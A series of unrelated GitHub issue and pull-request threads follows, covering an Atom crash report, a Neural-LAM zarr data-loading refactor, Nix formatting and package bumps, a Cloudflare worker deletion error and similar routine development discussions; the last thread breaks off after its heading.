Uncaught Error: Cannot read property 'object' of undefinedTypeError: Cannot read property 'objec...

[Enter steps to reproduce below:]

...
...

Atom Version: 1.9.9
System: Ubuntu 14.04.5
Thrown From: Atom Core
Stack Trace
Uncaught Error: Cannot read property 'object' of undefined
TypeError: Cannot read property 'object' of undefined
at ObjectsRegistry.get (/usr/share/atom/resources/electron.asar/browser/objects-registry.js:44:28)
at EventEmitter. (/usr/share/atom/resources/electron.asar/browser/rpc-server.js:309:31)
at emitMany (events.js:121:13)
at EventEmitter.emit (events.js:195:7)
at EventEmitter. (/usr/share/atom/resources/electron.asar/browser/api/web-contents.js:141:25)
at emitTwo (events.js:100:13)
at EventEmitter.emit (events.js:185:7)
At /usr/share/atom/resources/electron.asar/renderer/api/remote.js:178

Error: Cannot read property 'object' of undefined
TypeError: Cannot read property 'object' of undefined
    at ObjectsRegistry.get (/usr/share/atom/resources/electron.asar/browser/objects-registry.js:44:28)
    at EventEmitter.<anonymous> (/usr/share/atom/resources/electron.asar/browser/rpc-server.js:309:31)
    at emitMany (events.js:121:13)
    at EventEmitter.emit (events.js:195:7)
    at EventEmitter.<anonymous> (/usr/share/atom/resources/electron.asar/browser/api/web-contents.js:141:25)
    at emitTwo (events.js:100:13)
    at EventEmitter.emit (events.js:185:7)
    at metaToValue (/usr/share/atom/resources/electron.asar/renderer/api/remote.js:178:13)
    at undefined.remoteMemberFunction (/usr/share/atom/resources/electron.asar/renderer/api/remote.js:112:18)
    at AtomEnvironment.module.exports.AtomEnvironment.getWindowDimensions (/usr/share/atom/resources/app.asar/src/atom-environment.js:631:29)
    at AtomEnvironment.module.exports.AtomEnvironment.storeWindowDimensions (/usr/share/atom/resources/app.asar/src/atom-environment.js:665:36)
    at WindowEventHandler.module.exports.WindowEventHandler.handleWindowBlur (/usr/share/atom/resources/app.asar/src/window-event-handler.js:182:35)
    at /usr/share/atom/resources/app.asar/src/window-event-handler.js:3:61

Commands
     -5:44.7.0 core:paste (atom-text-editor.editor.is-focused)
     -5:41.7.0 core:save (atom-text-editor.editor.is-focused)
     -5:32.5.0 core:paste (atom-text-editor.editor.is-focused)
     -5:31.7.0 core:save (atom-text-editor.editor.is-focused)
     -5:18.3.0 core:paste (atom-text-editor.editor.is-focused)
     -5:17.7.0 core:save (atom-text-editor.editor.is-focused)
     -5:08.4.0 core:paste (atom-text-editor.editor.is-focused)
     -5:07.8.0 core:save (atom-text-editor.editor.is-focused)
     -4:32.2.0 core:paste (atom-text-editor.editor.is-focused)
     -4:30.2.0 core:save (atom-text-editor.editor.is-focused)
     -4:18.2.0 core:paste (atom-text-editor.editor.is-focused)
     -4:17 core:save (atom-text-editor.editor.is-focused)
     -3:51.8.0 core:paste (atom-text-editor.editor.is-focused)
     -3:51 core:save (atom-text-editor.editor.is-focused)
     -3:40.8.0 core:paste (atom-text-editor.editor.is-focused)
     -3:39.8.0 core:save (atom-text-editor.editor.is-focused)

Config
{
  "core": {
    "packagesWithKeymapsDisabled": [
      "atom-beautify"
    ]
  },
  "editor": {
    "fontSize": 17,
    "invisibles": {}
  }
}

Installed Packages
# User
atom-beautify, v0.29.10 (active)
Sublime-Style-Column-Selection, v1.7.2 (active)
atom-dark-syntax, v0.27.0 (inactive)
atom-dark-ui, v0.51.0 (inactive)
atom-light-syntax, v0.28.0 (inactive)
atom-light-ui, v0.43.0 (inactive)
base16-tomorrow-dark-theme, v1.1.0 (inactive)
base16-tomorrow-light-theme, v1.1.1 (inactive)
one-dark-ui, v1.3.2 (active)
one-light-ui, v1.3.2 (inactive)
one-dark-syntax, v1.2.0 (active)
one-light-syntax, v1.2.0 (inactive)
solarized-dark-syntax, v1.0.2 (inactive)
solarized-light-syntax, v1.0.2 (inactive)
about, v1.5.2 (active)
archive-view, v0.61.1 (active)
autocomplete-atom-api, v0.10.0 (active)
autocomplete-css, v0.11.1 (active)
autocomplete-html, v0.7.2 (active)
autocomplete-plus, v2.31.0 (active)
autocomplete-snippets, v1.11.0 (active)
autoflow, v0.27.0 (inactive)
autosave, v0.23.1 (active)
background-tips, v0.26.0 (active)
bookmarks, v0.41.0 (active)
bracket-matcher, v0.82.1 (active)
command-palette, v0.38.0 (inactive)
deprecation-cop, v0.54.1 (active)
dev-live-reload, v0.47.0 (active)
encoding-selector, v0.22.0 (active)
exception-reporting, v0.39.0 (active)
fuzzy-finder, v1.3.0 (active)
git-diff, v1.1.0 (active)
find-and-replace, v0.198.0 (inactive)
go-to-line, v0.31.0 (inactive)
grammar-selector, v0.48.1 (active)
image-view, v0.58.0 (active)
incompatible-packages, v0.26.1 (active)
keybinding-resolver, v0.35.0 (active)
line-ending-selector, v0.5.0 (active)
link, v0.31.1 (inactive)
markdown-preview, v0.158.1 (active)
metrics, v0.53.1 (active)
notifications, v0.64.1 (active)
open-on-github, v1.2.0 (inactive)
package-generator, v1.0.0 (inactive)
settings-view, v0.238.2 (active)
snippets, v1.0.2 (active)
spell-check, v0.67.1 (active)
status-bar, v1.4.1 (active)
styleguide, v0.47.1 (active)
symbols-view, v0.113.0 (inactive)
tabs, v0.98.1 (active)
timecop, v0.33.1 (active)
tree-view, v0.208.0 (active)
update-package-dependencies, v0.10.0 (active)
welcome, v0.34.0 (active)
whitespace, v0.32.2 (active)
wrap-guide, v0.38.1 (active)
language-c, v0.52.1 (active)
language-clojure, v0.21.0 (active)
language-coffee-script, v0.47.0 (active)
language-csharp, v0.12.1 (active)
language-css, v0.36.2 (active)
language-gfm, v0.86.0 (active)
language-git, v0.13.0 (active)
language-go, v0.42.0 (active)
language-html, v0.44.1 (active)
language-hyperlink, v0.16.0 (active)
language-java, v0.22.0 (active)
language-javascript, v0.119.0 (active)
language-json, v0.18.0 (active)
language-less, v0.29.3 (active)
language-make, v0.22.2 (active)
language-mustache, v0.13.0 (active)
language-objective-c, v0.15.1 (active)
language-perl, v0.35.0 (active)
language-php, v0.37.0 (active)
language-property-list, v0.8.0 (active)
language-python, v0.45.0 (active)
language-ruby, v0.68.5 (active)
language-ruby-on-rails, v0.25.0 (active)
language-sass, v0.52.0 (active)
language-shellscript, v0.22.3 (active)
language-source, v0.9.0 (active)
language-sql, v0.21.1 (active)
language-text, v0.7.1 (active)
language-todo, v0.28.0 (active)
language-toml, v0.18.0 (active)
language-xml, v0.34.8 (active)
language-yaml, v0.26.0 (active)

# Dev
No dev packages

This is a duplicate of #11692 - feel free to subscribe there for updates.


Proposal to Support Function Call Feature in Gemini Pro (Referencing Google AI Documentation)

Hello  Team,
I've been following the development of Gemini Pro with great interest, especially with the recent introduction of the function call feature currently in beta. This functionality seems to be a promising addition to the project.
As an active user and contributor to the community, I am curious about the future plans regarding this feature. Specifically, I would like to know if there are any intentions to support the function call conventions as outlined in the Google AI documentation.
For your reference, the documentation can be found here: Google AI Function Calling Documentation
Supporting the standards and conventions described in the documentation could enhance interoperability with other systems and tools that follow the same guidelines, potentially broadening the use cases and user base for Gemini Pro.
I am looking forward to your thoughts on this and would be happy to contribute to the discussion or development of this feature.
Thank you for your time and consideration.

Thanks for the request - we plan on adding this in the future - stay tuned

any updates on this?

We are also interested in this. Currently its stopping us from using Gemini vs openai


[META] Test clients regularly against the server

Is your feature request related to a problem?
Tests against unreleased OpenSearch run on each PR but there might be commits in between on OpenSearch which break the client. Similarly, the tests against Amazon OpenSearch Service and Amazon OpenSearch Serverless also need to be run on a cron basis to determine if something breaks the compatibility.
What solution would you like?
Run the tests on a cron schedule and monitor + fix failures.
What alternatives have you considered?
A clear and concise description of any alternative solutions or features you've considered.
Do you have any additional context?
The test setup for client testing against Amazon OpenSearch Service and Amazon OpenSearch Serverless is covered in issue #47.
Client issue tracking

[ ] https://github.com/opensearch-project/opensearch-java/issues/469
[ ] https://github.com/opensearch-project/opensearch-py/issues/382
[ ] https://github.com/opensearch-project/opensearch-ruby/issues/173
[ ] https://github.com/opensearch-project/opensearch-rs/issues/163
[ ] https://github.com/opensearch-project/opensearch-js/issues/505
[ ] https://github.com/opensearch-project/opensearch-php/issues/151
[ ] https://github.com/opensearch-project/opensearch-go/issues/317
[ ] https://github.com/opensearch-project/opensearch-net/issues/211

This is a dup of https://github.com/opensearch-project/opensearch-clients/issues/47.


Begin moving settings.json into styles directory

As we continue to define a set of styles for LP apps, we’ll move away from the settings.json file and break styles into smaller modules.
These styles have been defined in the front-end framework.

Very cool.


Update scripts folder names to include nbconvert

This issue is from a different project, but since this repo is newer and in progress, we can make this small change now in a quick PR.

Closed in PR #10.


draw and update can run in different loops

the draw function could be called using requestAnimationFrame so that it looks smooth but update could and should be able to run independently in a separate loop using set timeout or set interval without the need to synchronise with the draw loop. This will also optimise the game as canvas draw calls are the most computationally intensive which should allow for a smaller timestep.

This works however set timeout and set interval are have a minimum interval of 4ms which is still too slow, another way around this problem that will only for the AI is to run a for loop which divides the delta time by the number of iterations during each update call, this should work if a seperate loop is used or if the draw loop is used, however it makes more sense to use a separate loop to avoid inactive tab issues due to requestAnimationFrame. This is only a workaround though and a better way should be looked into.


Remove other platforms as they don't support Wi-Fi

This removes files related to the platforms which do not support wifi from the doorbell_camera example.

@kedars PTAL


Multiple Zarr to Rule them All

Describe your changes
This PR is massive and was heavily discussed in the dev-team. It introduces a shift towards .zarr based data storage and .yaml based interaction with them using config files. The model itself should now be fully domain agnostic. All user input is either defined in aforementioned yaml files or via the train_model.py flags.
Please have a look at #24 to learn more about the main reasoning behind these changes. In short:

Simplify setup and collaboration across met services, academia and other insitutions with different input data
Fast, lazy and parallel datahandling out-of-the-box with xarray, zarr and dask
Easier combination of multiple data-sources for state, forcing and boundaries
Efficient compression choices for data storages using zarr

New dependencies: xarray, dask, zarr, pandas
BREAKING
While this PR tries to implement all functionalities present in main there is one major setup that is not supported anylonger. The training is based on (re)-analysis now and the reforecast based training previously used with e.g. MEPS is not supported. Especially the subsample_step logic has been removed from the code. This functionality can be re-introduced in "zarr-workflow" with a later PR. This will also break the tests!
MISSING
The whole handling of the boundary data is only implemented in the dataloading part but not actually used in the model. This will be added in a later PR. Parameter Weights are currently not used in the model since @joeloskarsson added probabilistic loss functions.
Issue Links
Solves #24
File by file changes

neural_lam/config.py This is the main workhorse and since I am not an expert in OOP, please double-check the decorators carefully (e.g. @leifdenby). I tried to set this up in a modular way where each function can be called independently. The main method called process_dataset() combines most of the individual steps and makes the data ready for the Torch Dataset Class. I tried to capture some errors and print some useful information without going all in on perfect software engineering. Since that seemed to match with the repo in other places. I am certain that other people will have different needs and am more than happy to add/change functionality already in this PR.
docs/download_danra.py This should be executed to run the tests and by anyone using the default config_data.py
neural_lam/models/ar_model.py Update the handling of static fields that are now supplied in zarr archives. Also, handling of batch_times mostly for plotting.
neural_lam/data_config.yaml Zarr based dataloading and specifications fully implemented. This is now documented in detail in README.md
neural_lam/utils.py Loader functions not required anylonger as this is now handled by the config.Config class.
neural_lam/weather_dataset.py This is now a classical Torch Dataset and PL DataLoader class based on xarray. All additional features like forcing calculation and windowing were placed in separate scripts.
tests The tests are broken, as mentioned below I will need some help here to fix them. I added my own test based on the zarr-yaml workflow. Currently 2/3 work okay.
calculate_statistics.py is now purely based on xarray and therefore natively fast, lazy and executed in parallel. This replaces create_parameter_weights.py. @leifdenby Which makes my midnight-merge last week kind of useless ^^. @joeloskarsson Is my understanding right that we don't require parameter_weights anylonger, given that people are using the right loss functions? I have removed all weighting (even vertical levels) from the code should these be re-introduced somewhere?
create_boundary_mask.py is one of many "helper"-scripts to generate static and forcing features if the user doesn't provide them themselves. As the name states, this one creates the old type of "in-domain" bordermask.
create_forcings.py stores datetime forcings previously calculated in the WeatherDataset in a zarr archive. This and previous helper-scripts replace create_grid_features.py that was previously used to load pre-computed and stored  numpy arrays.
create_mesh.py and plot_graph.py the loading of xy-grid is now streamlined (and hopefully in the right order @bet20ICL) using the config.Config.get_xy()
train_model.py with the new dataloader class everything is neat and tidy

Remarks
I did some thorough testing of this code, but given the sheer size of the PR it was not easy. I am open to both in-depth reviews and/or splitting the PR up into multiple smaller ones.
@SimonKamuk the tests don't work anymore and I tried my best to re-implement them for DANRA. But the pooch does not seem to work with Danra. I am always getting access rights issues, unless I access them directly with xr.open_zarr("..."). Could you help me fix them? Currently, your tests are disabled as well as my last test.
That being said, I am pretty proud to say that it is now possible to fully train Neural-LAM on DANRA data (and COSMO btw) and here I want to show some technical results as proof:
This is the graph created by create_mesh.py and the new get_xy() logic:

This is the validation error_map after very few training steps and a subset of variables defined in data_config.yaml

This is the resulting map of a 10step * 3hour forecast using the model in --eval "test" mode:

Please, test this code with your own data over your own domain, this should help confirming that the model is truly domain-agnostic now.
Type of change

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[x] Breaking change (fix or feature that would cause existing functionality to not work as expected)

Checklist before requesting a review

[X] My branch is up-to-date with the target branch - if not update your fork with the changes from the target branch (use pull with --rebase option if possible).
[X] I have performed a self-review of my code
[X] I have commented my code, particularly in hard-to-understand areas
[X] I have added tests that prove my fix is effective or that my feature works
[X] I have requested a reviewer and an assignee (assignee is responsible for merging)

Checklist for reviewers
Each PR comes with its own improvements and flaws. The reviewer should check the following:

[ ] the code readable
[ ] the code well tested
[ ] the code documented
[ ] the code easy to maintain

Author checklist after completed review

[ ] I have added a line to the CHANGELOG describing this change (in section
reflecting type of change, for example "bug fixes", add section where
missing)

Checklist for assignee

[ ] PR is up to date with the base branch
[ ] the tests passing
[ ] author has added an entry to the changelog (and designated the change as added, changed or fixed)
Once the PR ready to be merged, squash commits and merge the PR.

This is amazing stuff Simon! :smile: Looking forward to sink my teeth into all of this. I don't mind this being one big PR, as these changes are so interconnected.
I'll do a proper review of this later, but here's a short answer to the question about variable weights for now: I think we really want to keep the option to have a fixed variable weighting. There are in many cases good reasons to want to specify such weights manually rather than letting the model handle the balancing. I liked how it was handled before, with everything converted to standard-deviations that were either output by the model or derived from manual weights. That being said, I don't mind if we get rid of it with this PR and just re-introduce it later. As you rightly point out the logic for how to create and use parameter weights has to be reworked anyhow. We can make a new issue about that, but my initial thoughts would be to have such weights specified in the config yaml, either per-variable or using some generic strategy names (e.g. variable_weighting: uniform or variable_weighting: graphcast/pressure_proportional).

Yes, amazing work @sadamov! I will read through this over the next days and then we can may schedule a call to discuss in more detail? There is some of the reasoning in the structure I don't quite follow, but that is probably just because I have thought about some things slightly differently :)

HI @sadamov,
I was wondering if, with the current implementation here, it possible to specify different levels and/or level types for different upper air variables?
For example if I want u and v at 850 and 500 hPa but t at 925, 500 and 250 hPa.
Or more extreme, if I wanted u and v at 500  hPa and 100 m and t at 925 hPa and 150 m.
It seems that your example yaml-file, the levels keyword is defined at the category -level,  but maybe it is possible and I need to read the code in more detail.
Kind regards,
Michiel

@mpvginde That is currently not possible. I just discussed it with @leifdenby and this functionality will be added back before the PR is merged. Good point, thanks!

Thanks for the response.
Let me know if I can help!

This PR is superceded by #66


Github module paths should be case insensitive

I copy/pasted the Github URL which isn't always lowercase. There is no mention of this limitation on the README, is it intentional and stated elsewhere?
go get: added github.com/caddyserver/caddy/v2 v2.4.3
2021/08/13 11:22:07 [INFO] exec (timeout=0s): /usr/local/go/bin/go get -d -v github.com/Darkweak/Souin/plugins/caddy
go: downloading github.com/Darkweak/Souin/plugins/caddy v0.0.0-20210811115113-01e06b75a576
go get: github.com/Darkweak/Souin/plugins/caddy@none updating to
<EMAIL_ADDRESS>parsing go.mod:
        module declares its path as: github.com/darkweak/souin/plugins/caddy
                but was required as: github.com/Darkweak/Souin/plugins/caddy

This isn't really an issue with xcaddy, but more specifically with that plugin declaring a module path that isn't consistent with the Github repo.
xcaddy is just a thin wrapper over Go build tooling. That message comes right from Go.

Yeah, I don't think we want to get in the business of rewriting URLs, which can be case sensitive depending on the server/host. I recommend fixing the copy+paste to be correct instead.

I don't think we want to get in the business of rewriting URLs, which can be case sensitive depending on the server/host.

Is there a reason why xcaddy can't lowercase the entire string/url in this case? There isn't really any valid reason to be case sensitive is there for github URLs?
Is https://xcaddy.tech by this project? The same website has the Souin plugin (with older version listed) but also shows the syntax used as the mixed case URL Github serves, whomever maintains that should be aware that it prevents xcaddy from building?

Is xcaddy.tech by this project?

It's not. That was a proof of concept that Darkweak wrote as a suggested improvement to the download page some time ago, but @mholt went a slightly different direction with it, and it is how you see it now https://caddyserver.com/download


checkov: 3.2.5 -> 3.2.8

Diff: https://github.com/bridgecrewio/checkov/compare/refs/tags/3.2.5...3.2.8
Changelog: https://github.com/bridgecrewio/checkov/releases/tag/3.2.8
Description of changes

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.05 Release Notes (or backporting 23.05 and 23.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Result of nixpkgs-review pr 286553 run on x86_64-linux 1

2 packages built:

checkov
checkov.dist


Regression Sidebar always open on startup from 1.94

The sidebar is always open from v1.94 when I open a new vscode window even on the Welcome page, but only when "workbench.activityBar.location": "hidden", is this intentional?
I'm using vscode for editing everything and in 95% of cases I have to close this sidebar as it only contains Open Folder and Clone Repository buttons.
When the "workbench.activityBar.location": "left" then the sidebar behaves normally.
I also tried this on the clean profile with the same results.

I would also welcome some workaround for this, I haven't found any yet.

/duplicate of #230575


one bounding box for one CAM in the demo code

In the demo code of generating bounding box for CAM, the code seems to generate multiple boxes for one map, how can I modify the code so that one map only generate one box for localization?

@metalbubble Nice works!
Could you please share the python code that generate the bounding box according to the heatmap?


Automated cherry pick of #4579: dockerfile: component use base image

Cherry pick of #4579 on release/3.0.
#4579: dockerfile: component use base image

Codecov Report

:exclamation: No coverage uploaded for pull request base (release/3.0@8528410). Click here to learn what that means.
The diff coverage is n/a.

@@              Coverage Diff              @@
##             release/3.0   #4580   +/-   ##
=============================================
  Coverage               ?   6.82%
=============================================
  Files                  ?     522
  Lines                  ?   88656
  Branches               ?       0
=============================================
  Hits                   ?    6052
  Misses                 ?   82099
  Partials               ?     505

Flag
Coverage Δ

#aFlag
6.82% <ø> (?)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 8528410...62f0a84. Read the comment docs.


Adding an example for importing PS module from PSGallery directly

Adding an example for importing PS module from PSGallery directly

@husamhilal : Thanks for your contribution! The author(s) have been notified to review your proposed change.

#sign-off


Feature #236: Edit owner name in read-only mode

Closes #236
Description

Before this PR, a non-owner user wasn't able to change the owner's name, this pr allows that.

Looks like this now:

Owner user:

Non-owner user:

Travis automatic deployment:
https://pr262--safereact.review.gnosisdev.com
Storybook book automatic deployment:
https://pr262--safereactstorybook.review.gnosisdev.com


Add some positive results on Homogeneity (P86)

I think negative results can be delayed somehow for example we can use cut point property to rule out a lot.

This PR is now available as the local branch yhx-12243/pr862.


Support finding unused Cluster Roles

/assign

@yonahd

Thanks!

@hzliangbin Do you plan on working on this?
I would like this in the v0.3.0 release

@yonahd @hzliangbin
let me know if I can work on this?

@yonahd @hzliangbin let me know if I can work on this?

If you don't get a response by Monday from @hzliangbin go for it.

@Azhovan I assigned it to you

Thanks, I'll take care of that

@yonahd sorry i have been quite busy this week, I think i have time next week to submit a PR.

✋ assign

/assign

wrong user
please
/assign
thanks :)

WIP #198


Update objects styling

Purpose

This PR will update objects styling in API Docs

Check List

[x] Read the Contributing Guide
[ ] Required Balo version update
[ ] Updated Change Log
[ ] Added necessary tests

[ ] Unit Tests
[ ] Spec Conformance Tests
[ ] Integration Tests
[ ] Ballerina By Example Tests

[ ] Increased Test Coverage
[ ] Added necessary documentation

[ ] API documentation
[ ] Module documentation in Module.md files
[ ] Ballerina By Examples

Codecov Report

Merging #15153 into api-doc-gen-spec will not change coverage.
The diff coverage is n/a.

@@                Coverage Diff                @@
##           api-doc-gen-spec   #15153   +/-   ##
=================================================
  Coverage                11%      11%
=================================================
  Files                    38       38
  Lines                  1163     1163
  Branches                191      191
=================================================
  Hits                    128      128
  Misses                 1022     1022
  Partials                 13       13

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update da83097...8d75e8e. Read the comment docs.


Format using nixfmt-rfc-style

Since RFC 0166 is now merged, pkgs.nixfmt-rfc-style can format nix files to be conformant.
This has some upsides such as:

Formatting matches what consumers might expect if they are coming from nixpkgs
Deprecated patterns such as URL literals can be automatically fixed

The latter is relevant to some use cases.
For example, users on later versions of nix or those who set the no-url-literals experimental feature cannot evaluate URL literals.
If a package depends on the OCaml Nix Overlays with these features, it will error out and fail to build.
This merge would format the repository to the RFC 0166 standard using pkgs.nixfmt-rfc-style and adopt all the automatic fixes it brings along.

This was inspired by a real world use case:
Building @faldor20 's https://github.com/faldor20/jj_tui
Will fail to build on versions of Nix that have fully deprecated URL literals due to packages such as ansi being declared with a URL literal
https://github.com/nix-ocaml/nix-overlays/blob/0617ef85a6c5d2417714da23921f54f04e27c685/ocaml/default.nix#L160
An alternative fix could be to do a tree-wide replacement of URL literals with strings containing a URL.

Thanks. before I take a closer look, could you point me to more information as to why URL literals were deprecated?

The short of it is here in the manual
The deprecation was RFC 0045

This sounds like a good change.
we run find . -iname '*.nix' | xargs nix shell -f ./ nixpkgs-fmt -c nixpkgs-fmt --check in CI, though, and it's saying 125/139 files would be reformatted. It might not be related?

nixpkgs-fmt and nixfmt (-rfc-style) diverge significantly, so that makes sense.
This PR effectively endorses moving from nixpkgs-fmt to nixfmt to be RFC compliant.
nixfmt provides a nixfmt --check . which outputs in the following format:
nix-overlays-upstream on master
-> nixfmt --check .

./flake.nix: not formatted
./ci/hydra_jobs.nix: not formatted
./ci/filter.nix: not formatted
./ci/default.nix: not formatted
./ci/hydra.nix: not formatted
./cockroachdb/generic.nix: not formatted
./cockroachdb/default.nix: not formatted
./ocaml/janestreet-0.16.nix: not formatted
./ocaml/overlay-ocaml-packages.nix: not formatted
./ocaml/subscriptions-transport-ws/default.nix: not formatted
./ocaml/piaf/carl.nix: not formatted
./ocaml/piaf/default.nix: not formatted
./ocaml/redis/lwt.nix: not formatted
...
./static/default.nix: not formatted

nix-overlays-upstream on master
->

Part of this PR could be moving to a more canonical approach such as setting the formatter and check attributes of the flake.nix, and running in CI via nix check.

Part of this PR could be moving to a more canonical approach such as setting the formatter and check attributes of the flake.nix, and running in CI via nix check.

this sounds good to me. would you do this in a separate PR so that I can better assess the diff?
then we could rebase this one on top, which would just be changing the URL strings

https://github.com/nix-ocaml/nix-overlays/pull/1541 changed URLs to plain strings.
Feel free to propose a separate PR changing the formatter.


Publish explorer to crates.io

Hi
I've built an extension for explorer that transforms the Snowflake streaming arrow files to Explorer.
The problem with SF is that it requires a little bit of data manipulation to convert to timestamps and other funness, so a library is required for this.
I want to include explorer in my project, so I can use the datatypes.

I don't see any problem with this. Let me see what I can do. :) Ideally releases should be synced and we're not far off 0.2.0 so I may wait for that, but I suppose I can publish a prerelease.

Also super cool you've built an extension for Explorer! I'm excited to check it out. :)

Hi @joshuataylor!
My concern with pushing Explorer to Cargo is that we will load the binary code multiple times.
Can you share the extensions? Maybe they belong to Explorer? Or alternatively we can find out a mechanism to include them dynamically? Or are they compile time dependencies?

Also @joshuataylor you can always use a git dependency!

Sure, so a few problems:
1/ Including via git is great, but I can't do that with a cdylib, as "rlib" will need to be added to explorers' Cargo.toml. We /could/ split the types if this is going to be a problem.
2/ You can see the code here:
https://github.com/joshuataylor/explorer_snowflake/blob/main/native/explorer_snowflake/src/lib.rs
And here:
https://github.com/joshuataylor/explorer_snowflake/blob/main/native/explorer_snowflake/src/snowflake_polars.rs
I want to split snowflake_polars.rs into another repository so this can be used from Polars directly as well, then we just rely on polars_snowflake from explorer_snowflake :).

@joshuataylor am I correct to say that the functionality that we are missing is the handling of ArrowDataType::Struct(_f)?
If so, I wonder if any of those two options are possible:

Have a way to register custom parsers in Explorer at runtime. So you would call something like Explorer.PolarsBackend.register_logical_type("TIMESTAMP_NTZ", Snowflake.Explorer.timestamp_ntz_address()). The callback will be invoked with the ArrowDataType::Struct(_f).

If that doesn't work or it is too tricky, we can return the logical type and its underlying binary to Elixir, Elixir then does the logical type, and then calls back a function (which may be another Rustler NIF for parsing). This should also be relatively cheap, the only cost is leaving the NIF and re-entering it once per series.

I like your idea, but we'll need to test it with different datasizes to see how it performs. Snowflake sends back chunks that are around 100kb to 50mb when uncompressed. I found that doing 100-200k conversions for Timestamps was slow to process, especially if you return the struct type between Rustler and Elixir.
And the way they do floats sometimes: https://github.com/joshuataylor/explorer_snowflake/blob/main/native/explorer_snowflake/src/snowflake_polars.rs#L63
I need to test the timestamps with the "TIMESTAMP_NTZ"/"TIMESTAMP_LTZ"/"TIMESTAMP_TZ" to double check the timezones, as they pass back the timezone info.
For example in the JSON implementation in req_snowflake, here is how we do it with timestamp_tz: (the convert function just looks up the timezone, similar to how to gosnowflake implementation does things):
  defp decode_json_column(%{"type" => "timestamp_tz"}, value) do
    # It's a timestamp nano with an offset in a space.
    # Looks like "1588969216076000000 1440"
    [timestamp_string, offset_string] = String.split(value, " ")
    offset = String.to_integer(offset_string)

    timestamp =
      timestamp_string
      |> String.replace(".", "")
      |> String.to_integer()

    # What we now do is take the offset, which should be an integer and minus 1440 from it.
    offset = offset - 1440

    # We now need to lookup all timezones with this offset, which will then be the actual timezone
    # Offset is in minutes. If it is 0, we'll assume UTC.
    timezone = ReqSnowflake.Timezone.convert(offset)

    ReqSnowflake.Timezone.unix_timestamp(timestamp, timezone)
  end

So we'll need to create another crate, as
1/ Using cdylib is great for NIFs, but bad if you want to rely on it, as it strips all Rust related information.
2/ Changing to dylib throws an error that rustler::init is already defined in explorer.

@joshuataylor would the Elixir approach I mentioned above not be enough? We find a way of transferring the underlying array buffer between runtimes, using zero copy, through Elixir.
This is what we are exploring for Nx too. For example, a library like StbImage can allocate an image in memory, but another completely independent library may want to use it without copying, so we share it.

I'd be happy with that.
I'll leave explorer_snowflake for now, and return to it once we have this. We could even use it as the initial test integration?
I'll make snowflake_arrow rely directly on Polars, once this in I'll change it over to explorer.

@joshuataylor could you join the Erlang Ecosystem Foundation Slack? You can create an account for free and then click the sidebar link: https://erlef.org/wg/machine-learning
Or shoot me an email. I think jumping into a call will be quicker. :)

Oh, before I forget, I don't think you need to migrate snowflake_arrow to Polars either. The idea is to share arrow buffers so just arrow is fine.

Closing this, as we want to explore those extensions as built-ins to Explorer. :)


Improve performance for Interval comparisons

Instead of normalizing all units first, start from millis and apply divisions and modulo calculations to check step up by step all units up to years.
Follows: #14081

original = the current master version
fix1 =
public int compareFix1(Period p1, Period p2) {
    BigInteger p1Millis = toStandardDuration(p1);
    BigInteger p2Millis = toStandardDuration(p2);
    return p1Millis.compareTo(p2Millis);
}

fix2 = code in this PR
Results for Periods differing already in millis (best case for this PR's approach):
Benchmark                     Mode  Cnt         Score        Error  Units
MyBenchmark.compareOriginal  thrpt   20   7506688.515 ±  70996.509  ops/s
MyBenchmark.compareFix1      thrpt   20  16329102.183 ± 181211.638  ops/s
MyBenchmark.compareFix2      thrpt   20  26244323.656 ± 244940.618  ops/s

Results for same Periods (worst case for this PR's approach as it will check all units):
Benchmark                     Mode  Cnt         Score        Error  Units
MyBenchmark.compareOriginal  thrpt   20   7336056.423 ±  93697.615  ops/s
MyBenchmark.compareFix1      thrpt   20  16270950.610 ± 192373.467  ops/s
MyBenchmark.compareFix2      thrpt   20  19411977.304 ± 247037.250  ops/s


Fixed reported FontSize to be consistent with setters. Ref issue #520

The fontSize reported for (ButtonBase ,TextBoxBase, CheckBox ) components was inconsistent with the setters.
Ref issue #520
Companion for testing:
https://drive.google.com/open?id=0Bw0fmqX0oC9YOTRuemlJWUtUZUE

LGTM

MERGED


🐛 BUG: Failed to delete a worker previously binding to a queue

Which Cloudflare product(s) does this pertain to?
Queues, Workers for Platforms, Workers/Other
What version of Wrangler are you using?
3.0.0
What operating system are you using?
Unrelated to OS, it also happens on web dashboard
Describe the Bug
When I try to run wrangler delete --name=wildebeest-consumer-prprnya to delete a worker previous binding to a queue, the output is like below:
 ⛅ wrangler 3.0.0 (update available 3.0.1)
-----------------------------------------------------
√ Are you sure you want to delete wildebeest-consumer-prprnya? This action cannot be undone. ... yes

✘ [ERROR] A request to the Cloudflare API (/accounts/<account>/workers/services/wildebeest-consumer-prprnya) failed.

  script still in use as a consumer for a queue [code: 10064]

  If you think this is a bug, please open an issue at:
  https://github.com/cloudflare/workers-sdk/issues/new/choose

I have already deleted all of my queues in the dashboard, cleared all routes and variables, renamed the worker, and replaced the codes by example in the documentation, even canceled the workers paid subscription. After so many attempts, the same error still occurs on the wrangler cli and web dashboard.

@prprnya thanks for filing this issue. To do this, you'll need to log into the Cloudflare Dashboard, and:

find the queue
click on "Settings"
under "Consumer Details" disconnect the consumer

Once it has been disconnected, you can delete the Worker via Wrangler (or the dashboard) as expected.
I'm going to close this, but feel free to reopen if this doesn't address your issue.


XR SDK Spatial meshes partially broken with non-identity playspace

Describe the bug
